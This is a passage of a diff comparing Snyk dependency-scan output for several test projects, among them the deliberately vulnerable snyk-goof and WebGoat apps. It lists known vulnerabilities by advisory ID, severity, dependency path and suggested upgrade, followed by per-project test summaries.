debug@4.1.1 and 37 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-1086688] in mongoose@4.2.4 + introduced by goof@1.0.1 > mongoose@4.2.4 + ✗ Information Exposure [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-472486] in mongoose@4.2.4 + introduced by goof@1.0.1 > mongoose@4.2.4 + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MPATH-1577289] in mpath@0.1.1 + introduced by goof@1.0.1 > mongoose@4.2.4 > mpath@0.1.1 + ✗ Remote Memory Exposure [MEDIUM] [https://security.snyk.io/vuln/npm:mongoose:20160116] in mongoose@4.2.4 + introduced by goof@1.0.1 > mongoose@4.2.4 + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ASYNC-12239908] in async@1.5.2 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > async@1.5.2 and 5 other paths + ✗ DLL Injection [HIGH] [https://security.snyk.io/vuln/SNYK-JS-KERBEROS-568900] in kerberos@0.0.24 + introduced by goof@1.0.1 > mongoose@4.2.4 > mongodb@2.0.46 > mongodb-core@1.2.19 > kerberos@0.0.24 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MONGODB-473855] in mongodb@2.0.46 + introduced by goof@1.0.1 > mongoose@4.2.4 > mongodb@2.0.46 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MONGOOSE-2961688] in mongoose@4.2.4 + introduced by goof@1.0.1 > mongoose@4.2.4 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MQUERY-1050858] in mquery@1.6.3 + introduced by goof@1.0.1 > mongoose@4.2.4 > mquery@1.6.3 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MQUERY-1089718] in mquery@1.6.3 + introduced by goof@1.0.1 > mongoose@4.2.4 > mquery@1.6.3 + + Upgrade ms@0.7.3 to ms@2.0.0 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:ms:20170412] in ms@0.6.2 + introduced by goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 and 9 other paths + + Upgrade npmconf@0.0.24 to npmconf@2.1.3 to fix + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/npm:semver:20150403] in semver@1.1.4 + introduced by goof@1.0.1 > npmconf@0.0.24 > semver@1.1.4 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-INI-1048974] in ini@1.1.0 + introduced by goof@1.0.1 > npmconf@0.0.24 > ini@1.1.0 and 5 other paths + ✗ Uninitialized Memory Exposure [HIGH] [https://security.snyk.io/vuln/npm:npmconf:20180512] in npmconf@0.0.24 + introduced by goof@1.0.1 > npmconf@0.0.24 + + Upgrade snyk@1.290.2 to snyk@1.996.0 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 + introduced by goof@1.0.1 > express-fileupload@0.0.5 > fs-extra@0.22.1 > rimraf@2.6.3 > glob@7.1.3 > minimatch@3.0.4 > brace-expansion@1.1.11 and 10 other paths + ✗ Prototype Pollution [LOW] [https://security.snyk.io/vuln/SNYK-JS-MINIMIST-2429795] in minimist@0.0.8 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > spawn-wrap@1.2.3 > mkdirp@0.5.1 > minimist@0.0.8 and 8 other paths + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.3 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/update-notifier@2.5.1-rc2 > boxen@1.3.0 > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 and 5 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@3.1.0 + introduced by goof@1.0.1 > method-override@3.0.0 > debug@3.1.0 and 37 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.1.1 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-gradle-plugin@3.2.4 > debug@4.1.1 and 37 other paths + ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-GOT-2932019] in got@6.7.1 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/update-notifier@2.5.1-rc2 > latest-version@3.1.0 > package-json@4.0.1 > got@6.7.1 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-HOSTEDGITINFO-1088355] in hosted-git-info@2.8.5 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-resolve-deps@4.4.0 > snyk-module@1.9.1 > hosted-git-info@2.8.5 and 4 other paths + ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JSZIP-1251497] in jszip@3.2.2 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > jszip@3.2.2 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-1018905] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 and 17 other paths + ✗ Allocation of Resources Without Limits or Throttling [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-18314748] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 and 17 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-LODASH-73639] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-3050818] in minimatch@3.0.4 + introduced by goof@1.0.1 > tap@5.8.0 > glob@7.1.3 > minimatch@3.0.4 and 11 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764] in minimist@1.2.0 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > minimist@1.2.0 and 8 other paths + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PARSEURL-2935944] in parse-url@5.0.1 + introduced by goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + ✗ Information Exposure [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PARSEURL-2935947] in parse-url@5.0.1 + introduced by goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PARSEURL-2942134] in parse-url@5.0.1 + introduced by goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/npm:lodash:20180130] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi-regex@4.1.0 + introduced by goof@1.0.1 > snyk@1.290.2 > strip-ansi@5.2.0 > ansi-regex@4.1.0 and 15 other paths + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ASYNC-12239908] in async@1.5.2 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > async@1.5.2 and 5 other paths + ✗ Remote Memory Exposure [HIGH] [https://security.snyk.io/vuln/SNYK-JS-BL-608877] in bl@3.0.0 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-docker-plugin@1.38.0 > tar-stream@2.1.0 > bl@3.0.0 and 1 other path + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-INI-1048974] in ini@1.1.0 + introduced by goof@1.0.1 > npmconf@0.0.24 > ini@1.1.0 and 5 other paths + ✗ Command Injection [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 and 17 other paths + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-12239302] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-450202] in lodash@4.17.4 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 and 3 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-567746] in lodash@4.17.4 + introduced by goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/dep-graph@1.13.1 > lodash@4.17.4 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-608086] in lodash@4.17.15 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 and 17 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-73638] in lodash@4.17.4 + introduced by goof@1.0.1 > lodash@4.17.4 and 3 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASHSET-1320032] in lodash.set@4.3.2 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-resolve-deps@4.4.0 > lodash.set@4.3.2 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-NCONF-2395478] in nconf@0.10.0 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 + ✗ Server-side Request Forgery (SSRF) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-NETMASK-1089716] in netmask@1.0.6 + introduced by goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 > netmask@1.0.6 + ✗ Server-side Request Forgery (SSRF) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-NETMASK-11879326] in netmask@1.0.6 + introduced by goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 > netmask@1.0.6 + ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-PACRESOLVER-1564857] in pac-resolver@3.0.0 + introduced by goof@1.0.1 > snyk@1.290.2 > proxy-agent@3.1.1 > pac-proxy-agent@3.0.1 > pac-resolver@3.0.0 + ✗ Authorization Bypass Through User-Controlled Key [HIGH] [https://security.snyk.io/vuln/SNYK-JS-PARSEPATH-2936439] in parse-path@4.0.1 + introduced by goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 > parse-path@4.0.1 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-Y18N-1021887] in y18n@3.2.1 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > yargs@3.32.0 > y18n@3.2.1 and 1 other path + ✗ Server-side Request Forgery (SSRF) [CRITICAL] [https://security.snyk.io/vuln/SNYK-JS-PARSEURL-2936249] in parse-url@5.0.1 + introduced by goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + + Upgrade st@0.2.4 to st@1.2.2 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:mime:20170907] in mime@1.3.4 + introduced by goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > mime@1.3.4 and 3 other paths + ✗ Directory Traversal [MEDIUM] [https://security.snyk.io/vuln/npm:st:20140206] in st@0.2.4 + introduced by goof@1.0.1 > st@0.2.4 + ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/npm:st:20171013] in st@0.2.4 + introduced by goof@1.0.1 > st@0.2.4 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:negotiator:20160616] in negotiator@0.5.3 + introduced by goof@1.0.1 > express@4.12.4 > accepts@1.2.13 > negotiator@0.5.3 and 2 other paths + + Upgrade tap@5.8.0 to tap@18.0.0 to fix + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073] in brace-expansion@1.1.11 + introduced by goof@1.0.1 > express-fileupload@0.0.5 > fs-extra@0.22.1 > rimraf@2.6.3 > glob@7.1.3 > minimatch@3.0.4 > brace-expansion@1.1.11 and 10 other paths + ✗ Prototype Pollution [LOW] [https://security.snyk.io/vuln/SNYK-JS-MINIMIST-2429795] in minimist@0.0.8 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > spawn-wrap@1.2.3 > mkdirp@0.5.1 > minimist@0.0.8 and 8 other paths + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:braces:20180219] in braces@1.8.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > micromatch@2.3.8 > braces@1.8.5 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:hawk:20160119] in hawk@1.1.1 + introduced by goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > hawk@1.1.1 + ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:mime:20170907] in mime@1.3.4 + introduced by goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > mime@1.3.4 and 3 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@3.1.0 + introduced by goof@1.0.1 > method-override@3.0.0 > debug@3.1.0 and 37 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.1.1 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-gradle-plugin@3.2.4 > debug@4.1.1 and 37 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-GLOBPARENT-1016905] in glob-parent@2.0.0 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > test-exclude@1.1.0 > micromatch@2.3.8 > parse-glob@3.0.4 > glob-base@0.3.0 > glob-parent@2.0.0 and 1 other path + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1279029] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-567742] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-HOSTEDGITINFO-1088355] in hosted-git-info@2.8.5 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-resolve-deps@4.4.0 > snyk-module@1.9.1 > hosted-git-info@2.8.5 and 4 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JSONPOINTER-1577288] in jsonpointer@4.0.1 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 > jsonpointer@4.0.1 + ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-JSYAML-173999] in js-yaml@3.6.1 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > js-yaml@3.6.1 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-3050818] in minimatch@3.0.4 + introduced by goof@1.0.1 > tap@5.8.0 > glob@7.1.3 > minimatch@3.0.4 and 11 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMIST-559764] in minimist@1.2.0 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > minimist@1.2.0 and 8 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-UGLIFYJS-1727251] in uglify-js@2.6.2 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 > uglify-js@2.6.2 + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-YARGSPARSER-560381] in yargs-parser@2.4.0 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > yargs@4.7.1 > yargs-parser@2.4.0 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/npm:brace-expansion:20170302] in brace-expansion@1.1.4 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > spawn-wrap@1.2.3 > rimraf@2.5.2 > glob@7.0.3 > minimatch@3.0.0 > brace-expansion@1.1.4 and 4 other paths + ✗ Prototype Pollution [MEDIUM] [https://security.snyk.io/vuln/npm:hoek:20180212] in hoek@0.9.1 + introduced by goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > hawk@1.1.1 > boom@0.4.2 > hoek@0.9.1 and 7 other paths + ✗ Timing Attack [MEDIUM] [https://security.snyk.io/vuln/npm:http-signature:20150122] in http-signature@0.10.1 + introduced by goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > http-signature@0.10.1 + ✗ Remote Memory Exposure [MEDIUM] [https://security.snyk.io/vuln/npm:request:20160119] in request@2.42.0 + introduced by goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 + ✗ Uninitialized Memory Exposure [MEDIUM] [https://security.snyk.io/vuln/npm:tunnel-agent:20170305] in tunnel-agent@0.4.3 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > tunnel-agent@0.4.3 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi-regex@4.1.0 + introduced by goof@1.0.1 > snyk@1.290.2 > strip-ansi@5.2.0 > ansi-regex@4.1.0 and 15 other paths + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ASYNC-12239908] in async@1.5.2 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > async@1.5.2 and 5 other paths + ✗ Remote Memory Exposure [HIGH] [https://security.snyk.io/vuln/SNYK-JS-BL-608877] in bl@3.0.0 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-docker-plugin@1.38.0 > tar-stream@2.1.0 > bl@3.0.0 and 1 other path + ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-173692] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-174183] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-469063] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-480388] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-534478] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-HAWK-2808852] in hawk@3.1.3 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > hawk@3.1.3 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ISMYJSONVALID-597165] in is-my-json-valid@2.19.0 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ISMYJSONVALID-597167] in is-my-json-valid@2.19.0 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-JSONSCHEMA-1920922] in json-schema@0.2.3 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > http-signature@1.1.1 > jsprim@1.4.1 > json-schema@0.2.3 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-JSYAML-174129] in js-yaml@3.6.1 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > js-yaml@3.6.1 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-1019388] in minimatch@2.0.10 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 and 5 other paths + ✗ Prototype Pollution [HIGH] [https://security.snyk.io/vuln/SNYK-JS-Y18N-1021887] in y18n@3.2.1 + introduced by goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > yargs@3.32.0 > y18n@3.2.1 and 1 other path + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:minimatch:20160620] in minimatch@2.0.10 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 and 5 other paths + ✗ Prototype Override Protection Bypass [HIGH] [https://security.snyk.io/vuln/npm:qs:20170213] in qs@2.2.4 + introduced by goof@1.0.1 > body-parser@1.9.0 > qs@2.2.4 and 2 other paths + ✗ Prototype Pollution [CRITICAL] [https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-534988] in handlebars@4.0.5 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + ✗ Prototype Pollution [CRITICAL] [https://security.snyk.io/vuln/SNYK-JS-JSONPOINTER-598804] in jsonpointer@4.0.1 + introduced by goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 > jsonpointer@4.0.1 + +Issues with no direct upgrade or patch: + ✗ Arbitrary Code Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COOKIE-13271683] in cookie@0.1.2 + introduced by goof@1.0.1 > express@4.12.4 > cookie@0.1.2 and 1 other path + This issue was fixed in: 1.0.0 + ✗ Arbitrary Code Injection [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EJS-1049328] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + This issue was fixed in: 3.1.6 + ✗ Arbitrary File Upload [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-2635697] in express-fileupload@0.0.5 + introduced by goof@1.0.1 > express-fileupload@0.0.5 + ✗ Arbitrary File Upload [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-2635946] in express-fileupload@0.0.5 + introduced by goof@1.0.1 > express-fileupload@0.0.5 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-3050818] in minimatch@3.0.4 + introduced by goof@1.0.1 > tap@5.8.0 > glob@7.1.3 > minimatch@3.0.4 and 11 other paths + This issue was fixed in: 3.0.5 + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:ejs:20161130] in ejs@1.0.0 + introduced by goof@1.0.1 > ejs@1.0.0 and 1 other path + This issue was fixed in: 2.5.5 + ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/npm:ejs:20161130-1] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + This issue was fixed in: 2.5.5 + ✗ Remote Code Execution (RCE) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-EJS-2803307] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + This issue was fixed in: 3.1.7 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-MINIMATCH-1019388] in minimatch@2.0.10 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 and 5 other paths + This issue was fixed in: 3.0.2 + ✗ Arbitrary Code Execution [HIGH] [https://security.snyk.io/vuln/npm:ejs:20161128] in ejs@0.8.8 + introduced by goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 and 1 other path + This issue was fixed in: 2.5.3 + ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:minimatch:20160620] in minimatch@2.0.10 + introduced by goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > fileset@0.2.1 > glob@5.0.15 > minimatch@2.0.10 and 5 other paths + This issue was fixed in: 3.0.2 + +╭─────────────────────────────────────────────────────────────╮ +│ Test Summary │ +│ │ +│ Organization: My Org │ +│ Test type: Software Composition Analysis │ +│ Project path: multi-project │ +│ Target file: snyk-goof/package-lock.json │ +│ │ +│ Total security issues: 120 │ +│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ +│ Open : 120 [ 3 CRITICAL  55 HIGH  53 MEDIUM  9 LOW ] │ +╰─────────────────────────────────────────────────────────────╯ ───────────────────────────────────────────────────── -Testing (golang/go.mod) ... +Testing (webgoat/pom.xml) ... -Tested 29 dependencies for known issues, found 1 issues, 1 vulnerable paths. +Tested 194 dependencies for known issues, found 55 issues, 55 vulnerable paths. -Open Security issues: 1 +Open Security issues: 55 - ✗ [MEDIUM] Open Redirect - Finding ID: SNYK-GOLANG-GITHUBCOMVALYALAFASTHTTP-6815320 - Info: https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMVALYALAFASTHTTP-6815320 - Introduced by: github.com/valyala/fasthttp - Introduced through: golangproject@0.0.0 > github.com/gofiber/fiber/v2@2.52.9 > github.com/valyala/fasthttp@1.51.0 - Risk Score: 84 - -╭─────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: golang/go.mod │ -│ │ -│ Total security issues: 1 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 1 [ 0 CRITICAL  0 HIGH  1 MEDIUM  0 LOW ] │ -╰─────────────────────────────────────────────────────────╯ - -───────────────────────────────────────────────────── + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JAVA-COMFASTERXMLJACKSONCORE-12009535 + Info: https://snyk.io/vuln/SNYK-JAVA-COMFASTERXMLJACKSONCORE-12009535 + Introduced by: com.fasterxml.jackson.core:jackson-core + Introduced through: 